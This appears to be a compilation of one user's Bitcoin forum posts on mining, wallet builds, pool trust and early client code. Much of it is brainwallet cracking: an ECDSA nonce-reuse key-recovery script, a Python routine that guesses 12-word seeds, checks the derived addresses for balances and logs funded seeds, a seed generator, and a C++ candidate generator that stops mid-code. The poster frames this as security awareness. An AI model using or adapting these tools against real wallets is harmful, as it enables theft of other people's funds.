Hello,
When you refer to (All you need to confirm you are mining to your own address is to examine the coinbase and template sent to you over stratum), does this mean adding my address to the text box and seeing the resulting link?
Also, I am mining with an Antminer V9, the Blocks Found Column and Best Shares show nothing? Any idea why?
Thanks
No, you can use the master cgminer code in --decode mode and it will tell you exactly what you're mining. Antminers are notorious for buggy code at detecting best shares and blocks found, but there's a good chance blocks found is SUPPOSED to be zero for almost everyone since they're so rare to find. New here with questions, sorry. Will --decode work outside of the V9? What version is needed? Do you have a link to a windows 10 already built version, I don't know how to compile yet? Is antpool solo the same as ckpool solo, all luck? Is a 15gh/s usb miner as lucky as the v9? Just a note I mined with V9's had the same issue buggy as hell no best share value shown had big long drawn email battle with bitmain about the miners power of two issue they dismissed it. None of the firmware they have released for the v9 works well it's what you would call fubar. |
|
|
|
|
Top project whonix comes with the cubes os which is very nice indeed.
I would recommend the use of Whonix in the cubes environment works very well.
Keep up the good work!
|
|
|
|
You are talking of exploiting the ECDSA signatures? If you have the values you can use something like this. #!/usr/bin/env python
import bitcoin
import hashlib
import random
def ecdsa_sign_k(z, d, k):
r, y = bitcoin.fast_multiply(bitcoin.G, k)
s = bitcoin.inv(k, bitcoin.N) * (z + r*d) % bitcoin.N
v, r, s = 27+((y % 2) ^ (0 if s * 2 < bitcoin.N else 1)), r, s if s * 2 < bitcoin.N else bitcoin.N - s
return v, r, s
# Generate secret key & the corresponding public key and address
sk = random.SystemRandom().randrange(1, bitcoin.N)
Q = bitcoin.fast_multiply(bitcoin.G, sk);
# Sign 2 differents messages with same k
signing_k = random.SystemRandom().randrange(1, bitcoin.N)
z1 = bitcoin.hash_to_int(hashlib.sha256('first_message').hexdigest())
z2 = bitcoin.hash_to_int(hashlib.sha256('second_message').hexdigest())
v1, r1, s1 = ecdsa_sign_k(z1, sk, signing_k)
v2, r2, s2 = ecdsa_sign_k(z2, sk, signing_k)
assert r1 == r2
print('+ R used = {:x}'.format(r1))
# Calculate k candidates
k_candidates = [
(z1 - z2) * bitcoin.inv(s1 - s2, bitcoin.N) % bitcoin.N,
(z1 - z2) * bitcoin.inv(s1 + s2, bitcoin.N) % bitcoin.N
]
for k in k_candidates:
priv_key = (s1 * k - z1) * bitcoin.inv(r1, bitcoin.N) % bitcoin.N
if bitcoin.fast_multiply(bitcoin.G, priv_key) == Q:
print('+ Calc key = {0}'.format( priv_key ))
break
else:
print('An unknown error occured.') |
|
|
|
|
Yes it seems you have lost the block the pool OP is missing for around 6 months now so dont expect a reply from him anytime soon.
Make sure your address says self when mining here its the only way you get the reward.
|
|
|
|
From version 0.1.5 I think with the lost coins and other factors it will be under 21 million coins total somewhere around the 20.5 million coins is a good estimate. int64 CBlock::GetBlockValue(int64 nFees) const
{
int64 nSubsidy = 50 * COIN;
// Subsidy is cut in half every 4 years
nSubsidy >>= (nBestHeight / 210000);
return nSubsidy + nFees;
}
unsigned int GetNextWorkRequired(const CBlockIndex* pindexLast)
{
const unsigned int nTargetTimespan = 14 * 24 * 60 * 60; // two weeks
const unsigned int nTargetSpacing = 10 * 60;
const unsigned int nInterval = nTargetTimespan / nTargetSpacing; Some of the things that in bitcoin that should not be changed unless there is full consent and I would agree that there MAX_MONEY for bitcoin should not be increased if the supply is inflated we become nothing more than the central banks printing press and it would have a negative impact on bitcoin. Some of the principals and fundamentals in bitcoin should always be. 1. Increase of the total number of bitcoin issued above and beyond the 21 million. While precision may be increased the proportions must stay the same. 2. Rules that add any requires or explicit centralization like changes that would require that transactions or blocks be signed by any central organization. 3. Deletion or revocation "and or I believe" Redistribution of coins that are deemed to be either lost or unused. The Fundamentals 21 million coins TOTAL. No censorship = Nobody should be able to prevent valid tx's from being confirmed on the network. Open-Source = Bitcoin source code should always be open for anyone to read, modify, copy, share. Permissionless = No gatekeepers should ever prevent anybody from being part of the network Pseudonymous = No ID should be required to own or use Bitcoin. Fungible = All coins are equal and should be equally spendable. Irreversible Transactions = Confirmed blocks should be set in stone. Blockchain History should be immutable. If we lose the above we're going to have a "Bad Time"  |
|
|
|
|
Were you accepting funds from exchange wallets?
Sometimes when they send payments you can have 100's of inputs that show on explorer could it be it's picking up all the inputs to your wallet and thinking they were all to you and not just the output.
This might throw off some kinds of calculation software.
|
|
|
|
This might be what your looking working in debian 
sudo apt-get install build-essential libtool autotools-dev automake pkg-config bsdmainutils curl git
Then choose:
-------------------------------------------------
Option A: Cross-compile Windows wallets (64 bit)
-------------------------------------------------
sudo apt-get install g++-mingw-w64-x86-64 mingw-w64-x86-64-dev
# Pick posix version for the following!
sudo update-alternatives --config x86_64-w64-mingw32-gcc
sudo update-alternatives --config x86_64-w64-mingw32-g++
cd depends
make -j 24 HOST=x86_64-w64-mingw32
# *** TIME FOR A REST HERE THIS TAKES SOME TIME ***
cd ..
./autogen.sh
CONFIG_SITE=$PWD/depends/x86_64-w64-mingw32/share/config.site ./configure --prefix=/
make -j 24
Optional: strip the binaries to reduce size at this point if you're going to share them.
-------------------------------------------------
Option B: Compile native Linux wallets
-------------------------------------------------
cd depends
make -j 24
# *** ANOTHER PLEASE WAIT MOMENT OR TWO ***
cd ..
./autogen.sh
CONFIG_SITE=$PWD/depends/x86_64-pc-linux-gnu/share/config.site ./configure --prefix=/
make -j 24
Optional: strip the binaries to reduce size at this point if you're going to share them.
|
|
|
|
|
WARNING - USE THIS POOL AT YOUR OWN RISK
POOL op is currently MIA - and there has been no response to PM's by forums members.
Tagging OP with RED TRUST until there is some news from the OP.
|
|
|
|
https://bitcoin.org/bin/block-chain/Found this torrent link on the bitcoin.org website might be useful. Note the block height is 317000 for this. I have no clue how this is maintained or updated someone else might have a better answer for you. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Torrent info hash: 36719ba2cecf9f3bd7c5abfb7a88e939611b536c
Torrent magnet link:
magnet:?xt=urn:btih:36719ba2cecf9f3bd7c5abfb7a88e939611b536c&dn=bootstrap.dat&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Ftracker.publicbt.com%3A80&tr=udp%3A%2F%2Fcoppersurfer.tk%3A6969%2Fannounce&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=http%3A%2F%2Fbttracker.crunchbanglinux.org%3A6969%2Fannounce
Block height: 317000
Filename: bootstrap.dat
Byte size: 22566124235
SHA1: 2e6e5dd20cd9c21960ba94f7265f42c4b6443758
SHA256: d05062052be4dd6fbaeac5f17598e52f7ad545f9f938acefaf7067ecce1d7b5a
-----BEGIN PGP SIGNATURE-----
Version: GnuPG/MacGPG2 v2.0.22 (Darwin)
Comment: GPGTools - http://gpgtools.org
iQEcBAEBCgAGBQJT+PcrAAoJEL8a4JGi25zKmj4H/i8xKIXW/xnw5i5Pc+ciUuc2
Zo+KxQd1YGRmJSvGsyTgTqK4IJUBD8s8tIGTtznCJ2/Q3wIdZmoqxkST7r4rqJly
cOyJ/n19K5beYvVekIgHVXFmhdJhZf8KNnyuV+DpHmmLKYyZtvkoY9b3hEBHVtSM
AkjuWyA9IEPeghxBX32JAToXOZGs9vZghNyIMg/fWbGLuv1oX7QCjAAua0NAMbLX
diSvVcLXskTRy38W4whz1DX6ruL8mPRYH5Ko6/cmtVqEkr53aEwYf1XJGHHAz3+J
nEHecxBUbiRhDwMdCVtqzKudXWVDtkgVQmRxrkKTw63NTVMge4eEziE2+7JQgq8=
=p9TY
-----END PGP SIGNATURE-----
|
|
|
|
Really nice setup with the solar have you thought about liquid cooling the miners in novec or dielectric coolant? https://www.engineeredfluids.com/coolfluidsBeen looking at pulling the boards from my miners and sinking them into this stuff. |
|
|
|
Giving this topic another 14 days for pool op to respond then it's red trust i'm afraid no reply last account hacked.
And there has been lots of members reached out to him with no response back.
Yeah, I'm not holding my breath... but my bounty still stands. I believe the total bounty is 3 LTC combined. Hell, I'm even willing to give the OP my 1 LTC bounty if he/she just happens in and does the right thing without being prompted. it sucks but he hasnt been online for nearly 6 months. there was some big storms in US. specially in California and midwest. also i think a few big tornadoes. i have no idea if he lives in US tho. maybe he lost access to the pools wallet.. no funds have moved for a long time. at this point it seems something has happened to him. hopefully nothing fatal or really bad. I hope that the OP is safe but people are risking hashrate on this pool and there seems to be no contact point for the OP anymore I see there is a 2nd account that has some trust from philipma1957. But the account has not been online for some time now and has not responded to PM's or reply's to the topic. |
|
|
|
Nice hit to the winner! Had a rental going watched the stats tick back to 0.00 diff checked wallet thinking this time! No luck. again "shares": 8915002565, "bestever": 53999534193,  |
|
|
|
|
Giving this topic another 14 days for pool op to respond then it's red trust i'm afraid no reply last account hacked.
And there has been lots of members reached out to him with no response back.
|
|
|
|
I’ve been trying to connect the oldest bitcoin executable but I can’d Get it to connect. Anybody have a clue as to how I can connect it to other peers? Easy way?
As far as I am aware you can't use that version anymore you won't get any connections or sync the blockchain. I have a feeling v0.1.0 makes calls to the IRC channel to look for peers. https://github.com/Dan-McG/bitcoin-0.1.0/blob/master/src/net.cppbool GetMyExternalIP(unsigned int& ipRet)
{
CAddress addrConnect("72.233.89.199:80"); // whatismyip.com 198-200
SOCKET hSocket;
if (!ConnectSocket(addrConnect, hSocket))
return error("GetMyExternalIP() : connection to %s failed\n", addrConnect.ToString().c_str());
char* pszGet =
"GET /automation/n09230945.asp HTTP/1.1\r\n"
"Host: www.whatismyip.com\r\n"
"User-Agent: Bitcoin/0.1\r\n"
"Connection: close\r\n"
"\r\n";
send(hSocket, pszGet, strlen(pszGet), 0);
string strLine;
while (RecvLine(hSocket, strLine))
{
if (strLine.empty())
{
if (!RecvLine(hSocket, strLine))
{
closesocket(hSocket);
return false;
}
closesocket(hSocket);
CAddress addr(strLine.c_str());
printf("GetMyExternalIP() received [%s] %s\n", strLine.c_str(), addr.ToString().c_str());
if (addr.ip == 0)
return false;
ipRet = addr.ip;
return true;
}
}
closesocket(hSocket);
return error("GetMyExternalIP() : connection closed\n"); |
|
|
|
|
Surprised there has been no response to this topic.
I would guess the client "should" be banning the peers if they are sending something malformed?
From the post above it seems they are pretty close in the IP ranges so I would guess they are being run by the same person.
I'm sure some core guru will be along with a more detailed answer but it is concerning if the number of these nodes continues to grow.
|
|
|
|
The tools are already out there. You could argue publishing the result to be a issue but nothing I have posted is not already in the public domain. https://www.youtube.com/watch?v=foil0hzl4PgA simple google search or github will show how many tools are out there for this type of thing. |
|
|
|
where is admin, mod? Why topics like this can exist?
Security liabilities need to be discussed publicly, otherwise you have no basis for public discourse, awareness and improvement. Note that this thread is about monitoring and documenting cases of brainwallet thefts, rather than stealing them. While these thefts are happening regardless of whether threads like this exist, it may prevent some people from generating weak brainwallets and becoming victims themselves. so why have to write and post script here? Teach everybody do with him? 1. Most of this code is available online or on github as already said we do this to improve the security of bitcoin to help users understand about brain wallets and the dangers of them. 2. I feel it much better to see a community attempting to eradicate and document this by-design un-secure wallet. 3. Who would you rather be talking about this issue, the open community who are pushing new users away from this dangerous way to store funds or the criminals behind closed forums scanning new users funds away. I have a feeling this guy has a brain wallet |
|
|
|
Seems like a waste of time to use random BIP words, as the seed word generation process involves checks, and many randomly generated combinations will be invalid.
Plus, even with a list of valid word combinations, it's a fools game in terms of odds.
That may be the case but what about weak seeds I also think the use of the script below might be helpful? Hmm... what's the point of throwing randomly selected word sets at your address checker? The chances of matching a 12 word passphrase are essentially zero. I think your size calcs may be off a bit, too. I pre-calculated the RMD160 values for all ASCII 1 to 5 character words, and the output is about 0.9TB in size. To increase to 6 characters would result in a file size about 95 times that (about 80TB) and to go up to 7 characters would result in an output of over 7000TB. And consider the amount of time needed to check 135 trillion entries. That's one of the interesting things about SHA256 brainwallets (so long as you're doing this for fun) : it can be easy to find them, but it's also very, very hard. As for the tables sizes I think they are about right to be honest they are not hash160's they are raw hex combinations see below I have tested on the smaller value ones at the come out pretty close to the figures quoted. So the DB for this type of data is vast. I am currently at around block 259090 of importing all the transactions into mysql database ( Currently 3 days reading from blk files) Combination data from 10Hex ./10hex | brainflayer -v -b example.blf
https://github.com/wpatoolkit/10-Hex-Generator
010316ead1
010316ead2
010316ead3
010316ead4
010316ead5
010316ead6
010316ead7
010316ead8
010316ead9
010316eada
010316eadb
010316eadc
010316eadd
010316eade
010316eadf
010316eae0
010316eae1
010316eae2
010316eae3
010316eae4
010316eae5
010316eae6
010316eae7
010316eae8
010316eae9
010316eaea
010316eaeb
010316eaec
010316eaed
010316eaee
010316eaef
010316eaf0
010316eaf1
010316eaf2
010316eaf3
010316eaf4
010316eaf5
010316eaf6
010316eaf7
010316eaf8
010316eaf9
010316eafa
010316eafb
010316eafc
010316eafd
010316eafe
010316eaff
010316eb01
010316eb02
010316eb03
010316eb04
010316eb05
010316eb06
010316eb07
010316eb08
010316eb09
010316eb0a
010316eb0b
010316eb0c
010316eb0d
010316eb0e
010316eb0f
010316eb10
after setting up ABE it is far quicker at checking against the database for balance than my previous method of API calls to Blockchain.com def mn_encode( message ):
out = []
for i in range(len(message)/8):
word = message[8*i:8*i+8]
x = int(word, 16)
w1 = (x%n)
w2 = ((x/n) + w1)%n
w3 = ((x/n/n) + w2)%n
out += [ words[w1], words[w2], words[w3] ]
return out
def mn_decode( wlist ):
out = ''
for i in range(len(wlist)/3):
word1, word2, word3 = wlist[3*i:3*i+3]
w1 = words.index(word1)
w2 = (words.index(word2))%n
w3 = (words.index(word3))%n
x = w1 +n*((w2-w1)%n) +n*n*((w3-w2)%n)
out += '%08x'%x
return out
def stretch_key(seed):
oldseed = seed
for i in range(100000):
seed = hashlib.sha256(seed + oldseed).digest()
return string_to_number( seed )
def mpk_from_seed(seed):
curve = SECP256k1
secexp = stretch_key(seed)
master_private_key = ecdsa.SigningKey.from_secret_exponent( secexp, curve = SECP256k1 )
master_public_key = master_private_key.get_verifying_key().to_string().encode('hex')
return master_public_key
class Account(object):
def __init__(self, v):
self.addresses = v.get('0', [])
self.change = v.get('1', [])
def dump(self):
return {'0':self.addresses, '1':self.change}
def get_addresses(self, for_change):
return self.change[:] if for_change else self.addresses[:]
def create_new_address(self, for_change):
addresses = self.change if for_change else self.addresses
n = len(addresses)
address = self.get_address( for_change, n)
addresses.append(address)
return address
def get_address(self, for_change, n):
pass
def get_pubkeys(self, sequence):
return [ self.get_pubkey( *sequence )]
class OldAccount(Account):
""" Privatekey(type,n) = Master_private_key + H(n|S|type) """
def __init__(self, v):
self.addresses = v.get(0, [])
self.change = v.get(1, [])
self.mpk = v['mpk'].decode('hex')
def dump(self):
return {0:self.addresses, 1:self.change}
@classmethod
def mpk_from_seed(klass, seed):
curve = SECP256k1
secexp = klass.stretch_key(seed)
master_private_key = ecdsa.SigningKey.from_secret_exponent( secexp, curve = SECP256k1 )
master_public_key = master_private_key.get_verifying_key().to_string().encode('hex')
return master_public_key
@classmethod
def stretch_key(self,seed):
oldseed = seed
for i in range(100000):
seed = hashlib.sha256(seed + oldseed).digest()
return string_to_number( seed )
def get_sequence(self, for_change, n):
return string_to_number( Hash( "%d:%d:"%(n,for_change) + self.mpk ) )
def get_address(self, for_change, n):
pubkey = self.get_pubkey(for_change, n)
address = public_key_to_bc_address( pubkey.decode('hex') )
return address
def get_pubkey(self, for_change, n):
curve = SECP256k1
mpk = self.mpk
z = self.get_sequence(for_change, n)
master_public_key = ecdsa.VerifyingKey.from_string( mpk, curve = SECP256k1 )
pubkey_point = master_public_key.pubkey.point + z*curve.generator
public_key2 = ecdsa.VerifyingKey.from_public_point( pubkey_point, curve = SECP256k1 )
return '04' + public_key2.to_string().encode('hex')
def get_private_key_from_stretched_exponent(self, for_change, n, secexp):
order = generator_secp256k1.order()
secexp = ( secexp + self.get_sequence(for_change, n) ) % order
pk = number_to_string( secexp, generator_secp256k1.order() )
compressed = False
return SecretToASecret( pk, compressed )
def get_private_key(self, seed, sequence):
for_change, n = sequence
secexp = self.stretch_key(seed)
return self.get_private_key_from_stretched_exponent(for_change, n, secexp)
def check_seed(self, seed):
curve = SECP256k1
secexp = self.stretch_key(seed)
master_private_key = ecdsa.SigningKey.from_secret_exponent( secexp, curve = SECP256k1 )
master_public_key = master_private_key.get_verifying_key().to_string().encode('hex')
if master_public_key != self.mpk:
print_error('invalid password (mpk)')
raise BaseException('Invalid password')
return True
def redeem_script(self, sequence):
return None
def b58encode(v):
""" encode v, which is a string of bytes, to base58."""
long_value = 0L
for (i, c) in enumerate(v[::-1]):
long_value += (256**i) * ord(c)
result = ''
while long_value >= __b58base:
div, mod = divmod(long_value, __b58base)
result = __b58chars[mod] + result
long_value = div
result = __b58chars[long_value] + result
# Bitcoin does a little leading-zero-compression:
# leading 0-bytes in the input become leading-1s
nPad = 0
for c in v:
if c == '\0': nPad += 1
else: break
return (__b58chars[0]*nPad) + result
def b58decode(v, length):
""" decode v into a string of len bytes."""
long_value = 0L
for (i, c) in enumerate(v[::-1]):
long_value += __b58chars.find(c) * (__b58base**i)
result = ''
while long_value >= 256:
div, mod = divmod(long_value, 256)
result = chr(mod) + result
long_value = div
result = chr(long_value) + result
nPad = 0
for c in v:
if c == __b58chars[0]: nPad += 1
else: break
result = chr(0)*nPad + result
if length is not None and len(result) != length:
return None
return result
__b58chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
__b58base = len(__b58chars)
def EncodeBase58Check(vchIn):
hash = Hash(vchIn)
return b58encode(vchIn + hash[0:4])
def DecodeBase58Check(psz):
vchRet = b58decode(psz, None)
key = vchRet[0:-4]
csum = vchRet[-4:]
hash = Hash(key)
cs32 = hash[0:4]
if cs32 != csum:
return None
else:
return key
def public_key_to_bc_address(public_key):
h160 = hash_160(public_key)
return hash_160_to_bc_address(h160)
def hash_160(public_key):
try:
md = hashlib.new('ripemd160')
md.update(hashlib.sha256(public_key).digest())
return md.digest()
except:
import ripemd
md = ripemd.new(hashlib.sha256(public_key).digest())
return md.digest()
def hash_160_to_bc_address(h160, addrtype = 0):
vh160 = chr(addrtype) + h160
h = Hash(vh160)
addr = vh160 + h[0:4]
return b58encode(addr)
mnemonic_hash = lambda x: hmac_sha_512("Bitcoin mnemonic", x).encode('hex')
hmac_sha_512 = lambda x,y: hmac.new(x, y, hashlib.sha512).digest()
Hash = lambda x: hashlib.sha256(hashlib.sha256(x).digest()).digest()
def hack(t, d):
while True:
guess = random.sample(words,12)
#guess = "shirt always flat become bird company everytime poet least soar crack story".split()
#print guess
seed = mn_decode(guess)
mpk = OldAccount.mpk_from_seed(seed)
acc = OldAccount({'mpk':mpk, 0:[], 1:[]})
#pk = number_to_string( secexp, generator_secp256k1.order() )
#compressed = False
# SecretToASecret( pk, compressed )
addy = acc.create_new_address(False)
myurl = "http://localhost:2750/chain/Bitcoin/q/getreceivedbyaddress/" + addy
f = urllib.urlopen(myurl)
balance = f.read()
print balance + ": " + addy
if balance != "0":
with open("addresses.txt", "a+") as myfile:
myfile.write(balance + ": " + addy + "\t" + seed + "\n")
|
|
|
|
I have been running some scans like this I grabbed about 2TB of word lists for brain wallet hunting. At the moment it is currently syncing up with bitcoin-abe into mysql database (taking forever) I wrote a small python script to create seeds that can be piped into a seed checker as such. import random
filename = "YourWordList.txt"
def main(filename):
words_file = open(filename, 'r')
words = words_file.read().split("\n")
temp_words = []
for word in words:
temp_words.append(word.strip("\r"))
words = temp_words
while True:
length = int(raw_input("12:"))
for i in range(0,length):
print(words[random.randrange(0,len(words)+1)]),
print("\n")
if __name__ == "__main__":
main(filename) Still buggy welcome any adaptation
Output
12:12
twist flush ranch screen yard film option walk stuff sick maximum stumble
12:12
ill banner replace snack athlete wage patient right sell bicycle meadow weekend
12:12
knock include learn fruit video drama sort crunch cost people undo inherit
12:12
close symbol either voyage cool life obtain enemy valve process consider project
12:12
fish tube lunar among adjust inch transfer slight evil tell apology negative
12:12
host century basket drift scatter raven job carbon excite gym biology hospital
12:12
soup verify mouse whisper weather resource upon lens slim consider celery
12:12
farm gold useless area renew settle until soap rent attract unique ceiling
12:12
code stage dad two brick clock gospel voice easily impose grunt cry
12:12
roast garment board wise fabric bus bundle idea street asthma horse language
I have also been piping in random text like such 1xjPr0ta5PsTrKTlETa3
ay9RDUrEhjdkNX6ynm8V
GsAupTvPwo3t0875dsBF
LCHaTQYseeu833Wrs3eu
53fCknZ7XGn2CSpDhLVV
jX8Tex8rafMjEsQTmY9S
yuOEOXF0JzYc0TmB4R36
MolQV7IKX15RSSo4s7OM
ZoKMjxUvV5QwTL8ZdCRo
9YLZNaUklLxx6rCwyQKg
lekYEIMpEhkPlnFw32bk
W7meYuwMyrJtnsL3biLH
8z1FKk39xpPtzzLmtdeQ No results yet from random data. From text word lists I have found around 500+ empty brain wallets so far most of which have already been published in the list. I have been collecting hash160 addresses from the blockchain and have them in a bloom filter searching against the word list but still no results with a small sample space of hash160 at the moment. I have also been testing with random hex being pushed to the brain wallet. //using namespace std;
int main(int argc, char *argv[]) {
srand(time(NULL));
bool risky_mode = false;
bool even_only = false;
bool odd_only = false;
bool output_random = false;
bool use_lower = false;
bool use_upper = false;
bool use_len_8 = false;
bool use_len_9 = false;
bool no_0 = false;
bool no_1 = false;
int desired_uniques = 0;
int min_uniques = 6; // 94.6% chance of having 6 to 9 uniques
int max_uniques = 9;
int min_numbers = 4; // 94.02% chance of having 4 to 8 numbers
int max_numbers = 8;
int min_letters = 2; // 94.02% chance of having 2 to 6 letters
int max_letters = 6;
bool negate_sequential = true; // 89.8% chance of not having any 3 consecutive sequential chars (123) or reverse sequential chars (321)
int differential = 0;
int slot1_start_at = 0;
int slot1_stop_at = 0;
bool starts_with_letter = false;
bool make_next_start_at = false;
bool make_next_stop_at = false;
int make_next_start_at_cnt = 0;
int make_next_stop_at_cnt = 0;
unsigned long long int start_at_long = 0;
unsigned long long int stop_at_long = 0;
if (argc > 1) {
for (int i=1;i<argc;++i) {
if (stricmp(argv[i], "-risky") == 0) { risky_mode = true; }
if (stricmp(argv[i], "-evenonly") == 0) { even_only = true; }
if (stricmp(argv[i], "-oddonly") == 0) { odd_only = true; }
if (stricmp(argv[i], "-random") == 0) { output_random = true; }
if (stricmp(argv[i], "-lower") == 0) { use_lower = true; }
if (stricmp(argv[i], "-upper") == 0) { use_upper = true; }
if (stricmp(argv[i], "-len8") == 0) { use_len_8 = true; }
if (stricmp(argv[i], "-len9") == 0) { use_len_9 = true; }
if (stricmp(argv[i], "-no0") == 0) { no_0 = true; }
if (stricmp(argv[i], "-no1") == 0) { no_1 = true; }
if (stricmp(argv[i], "-no01") == 0) { no_0 = true; no_1 = true; }
if (stricmp(argv[i], "-no10") == 0) { no_0 = true; no_1 = true; }
if (stricmp(argv[i], "-1unique") == 0) { desired_uniques = min_uniques = max_uniques = 1; }
if (stricmp(argv[i], "-2uniques") == 0) { desired_uniques = min_uniques = max_uniques = 2; }
if (stricmp(argv[i], "-3uniques") == 0) { desired_uniques = min_uniques = max_uniques = 3; }
if (stricmp(argv[i], "-4uniques") == 0) { desired_uniques = min_uniques = max_uniques = 4; }
if (stricmp(argv[i], "-5uniques") == 0) { desired_uniques = min_uniques = max_uniques = 5; }
if (stricmp(argv[i], "-6uniques") == 0) { desired_uniques = min_uniques = max_uniques = 6; }
if (stricmp(argv[i], "-7uniques") == 0) { desired_uniques = min_uniques = max_uniques = 7; }
if (stricmp(argv[i], "-8uniques") == 0) { desired_uniques = min_uniques = max_uniques = 8; }
if (stricmp(argv[i], "-9uniques") == 0) { desired_uniques = min_uniques = max_uniques = 9; }
if (stricmp(argv[i], "-10uniques") == 0) { desired_uniques = min_uniques = max_uniques = 10; }
if (stricmp(argv[i], "-1minunique") == 0) { min_uniques = 1; } if (stricmp(argv[i], "-minunique1") == 0) { min_uniques = 1; } if (stricmp(argv[i], "-min1unique") == 0) { min_uniques = 1; }
if (stricmp(argv[i], "-2minuniques") == 0) { min_uniques = 2; } if (stricmp(argv[i], "-minuniques2") == 0) { min_uniques = 2; } if (stricmp(argv[i], "-min2uniques") == 0) { min_uniques = 2; }
if (stricmp(argv[i], "-3minuniques") == 0) { min_uniques = 3; } if (stricmp(argv[i], "-minuniques3") == 0) { min_uniques = 3; } if (stricmp(argv[i], "-min3uniques") == 0) { min_uniques = 3; }
if (stricmp(argv[i], "-4minuniques") == 0) { min_uniques = 4; } if (stricmp(argv[i], "-minuniques4") == 0) { min_uniques = 4; } if (stricmp(argv[i], "-min4uniques") == 0) { min_uniques = 4; }
if (stricmp(argv[i], "-5minuniques") == 0) { min_uniques = 5; } if (stricmp(argv[i], "-minuniques5") == 0) { min_uniques = 5; } if (stricmp(argv[i], "-min5uniques") == 0) { min_uniques = 5; }
if (stricmp(argv[i], "-6minuniques") == 0) { min_uniques = 6; } if (stricmp(argv[i], "-minuniques6") == 0) { min_uniques = 6; } if (stricmp(argv[i], "-min6uniques") == 0) { min_uniques = 6; }
if (stricmp(argv[i], "-7minuniques") == 0) { min_uniques = 7; } if (stricmp(argv[i], "-minuniques7") == 0) { min_uniques = 7; } if (stricmp(argv[i], "-min7uniques") == 0) { min_uniques = 7; }
if (stricmp(argv[i], "-8minuniques") == 0) { min_uniques = 8; } if (stricmp(argv[i], "-minuniques8") == 0) { min_uniques = 8; } if (stricmp(argv[i], "-min8uniques") == 0) { min_uniques = 8; }
if (stricmp(argv[i], "-9minuniques") == 0) { min_uniques = 9; } if (stricmp(argv[i], "-minuniques9") == 0) { min_uniques = 9; } if (stricmp(argv[i], "-min9uniques") == 0) { min_uniques = 9; }
if (stricmp(argv[i], "-10minuniques") == 0) { min_uniques = 10; } if (stricmp(argv[i], "-minuniques10") == 0) { min_uniques = 10; } if (stricmp(argv[i], "-min10uniques") == 0) { min_uniques = 10; }
if (stricmp(argv[i], "-1maxunique") == 0) { max_uniques = 1; } if (stricmp(argv[i], "-maxunique1") == 0) { max_uniques = 1; } if (stricmp(argv[i], "-max1unique") == 0) { max_uniques = 1; }
if (stricmp(argv[i], "-2maxuniques") == 0) { max_uniques = 2; } if (stricmp(argv[i], "-maxuniques2") == 0) { max_uniques = 2; } if (stricmp(argv[i], "-max2uniques") == 0) { max_uniques = 2; }
if (stricmp(argv[i], "-3maxuniques") == 0) { max_uniques = 3; } if (stricmp(argv[i], "-maxuniques3") == 0) { max_uniques = 3; } if (stricmp(argv[i], "-max3uniques") == 0) { max_uniques = 3; }
if (stricmp(argv[i], "-4maxuniques") == 0) { max_uniques = 4; } if (stricmp(argv[i], "-maxuniques4") == 0) { max_uniques = 4; } if (stricmp(argv[i], "-max4uniques") == 0) { max_uniques = 4; }
if (stricmp(argv[i], "-5maxuniques") == 0) { max_uniques = 5; } if (stricmp(argv[i], "-maxuniques5") == 0) { max_uniques = 5; } if (stricmp(argv[i], "-max5uniques") == 0) { max_uniques = 5; }
if (stricmp(argv[i], "-6maxuniques") == 0) { max_uniques = 6; } if (stricmp(argv[i], "-maxuniques6") == 0) { max_uniques = 6; } if (stricmp(argv[i], "-max6uniques") == 0) { max_uniques = 6; }
if (stricmp(argv[i], "-7maxuniques") == 0) { max_uniques = 7; } if (stricmp(argv[i], "-maxuniques7") == 0) { max_uniques = 7; } if (stricmp(argv[i], "-max7uniques") == 0) { max_uniques = 7; }
if (stricmp(argv[i], "-8maxuniques") == 0) { max_uniques = 8; } if (stricmp(argv[i], "-maxuniques8") == 0) { max_uniques = 8; } if (stricmp(argv[i], "-max8uniques") == 0) { max_uniques = 8; }
if (stricmp(argv[i], "-9maxuniques") == 0) { max_uniques = 9; } if (stricmp(argv[i], "-maxuniques9") == 0) { max_uniques = 9; } if (stricmp(argv[i], "-max9uniques") == 0) { max_uniques = 9; }
if (stricmp(argv[i], "-10maxuniques") == 0) { max_uniques = 10; } if (stricmp(argv[i], "-maxuniques10") == 0) { max_uniques = 10; } if (stricmp(argv[i], "-max10uniques") == 0) { max_uniques = 10; }
if (stricmp(argv[i], "-startswith0") == 0) { slot1_start_at = 0; starts_with_letter = true; }
if (stricmp(argv[i], "-startswith1") == 0) { slot1_start_at = 1; starts_with_letter = true; }
if (stricmp(argv[i], "-startswith2") == 0) { slot1_start_at = 2; starts_with_letter = true; }
if (stricmp(argv[i], "-startswith3") == 0) { slot1_start_at = 3; starts_with_letter = true; }
if (stricmp(argv[i], "-startswith4") == 0) { slot1_start_at = 4; starts_with_letter = true; }
if (stricmp(argv[i], "-startswith5") == 0) { slot1_start_at = 5; starts_with_letter = true; }
if (stricmp(argv[i], "-startswith6") == 0) { slot1_start_at = 6; starts_with_letter = true; }
if (stricmp(argv[i], "-startswith7") == 0) { slot1_start_at = 7; starts_with_letter = true; }
if (stricmp(argv[i], "-startswith8") == 0) { slot1_start_at = 8; starts_with_letter = true; }
if (stricmp(argv[i], "-startswith9") == 0) { slot1_start_at = 9; starts_with_letter = true; }
if (stricmp(argv[i], "-startswithA") == 0) { slot1_start_at = 10; starts_with_letter = true; }
if (stricmp(argv[i], "-startswithB") == 0) { slot1_start_at = 11; starts_with_letter = true; }
if (stricmp(argv[i], "-startswithC") == 0) { slot1_start_at = 12; starts_with_letter = true; }
if (stricmp(argv[i], "-startswithD") == 0) { slot1_start_at = 13; starts_with_letter = true; }
if (stricmp(argv[i], "-startswithE") == 0) { slot1_start_at = 14; starts_with_letter = true; }
if (stricmp(argv[i], "-startswithF") == 0) { slot1_start_at = 15; starts_with_letter = true; }
if (stricmp(argv[i], "-start") == 0) { make_next_start_at = true; make_next_start_at_cnt = i; }
if (stricmp(argv[i], "-stop") == 0) { make_next_stop_at = true; make_next_stop_at_cnt = i; }
if ((make_next_start_at) && (i == (make_next_start_at_cnt+1))) { std::istringstream str_to_num(argv[i]); str_to_num >> start_at_long; if (!str_to_num) {std::cout << "ERROR: start is not a number" << "\n"; return 1;} make_next_start_at = false; }
